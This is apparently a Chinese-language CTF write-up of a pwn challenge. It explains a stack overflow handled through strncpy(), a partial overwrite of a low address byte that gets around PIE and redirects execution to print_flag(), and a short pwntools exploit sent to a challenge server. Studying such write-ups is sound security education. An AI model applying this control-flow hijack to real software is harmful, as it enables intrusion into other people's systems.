分析main(),可以看到程序有一个栈溢出漏洞。

并且会将用户或攻击者的输入当成参数传入select_func(),其中,strncpy()会将参数值拷贝0x1F字节。

由于本题开启PIE的原因,所以简单的ROP无法完成跳转。
通过动态调试可以看到,v3局部变量的内存地址似乎在print_flag()附近

那这是否意味着,可以利用地址在同一内存页、高位地址不变的特点,只修改地址的低位,实现控制流劫持呢?即为 部分覆写。
payload = b"a"*30 + b"\xD8"
在进入strncpy()前对比v3变量的内存值,其指向的地址依然是与print_flag()相邻


单步执行完复制函数后,可见v3变量的内存值指向了print_flag(),后续程序便会返回至v3所指向的print_flag(),打印flag


Exploit:
from pwn import *
p = remote("49.232.142.230", 16015)
# p = process("./pwn")
payload = b"a"*30 + b"\xD8"
p.recvuntil(b"call?\n")
# gdb.attach(p)
# pause()
p.sendline(payload)
p.recvline()
p.interactive()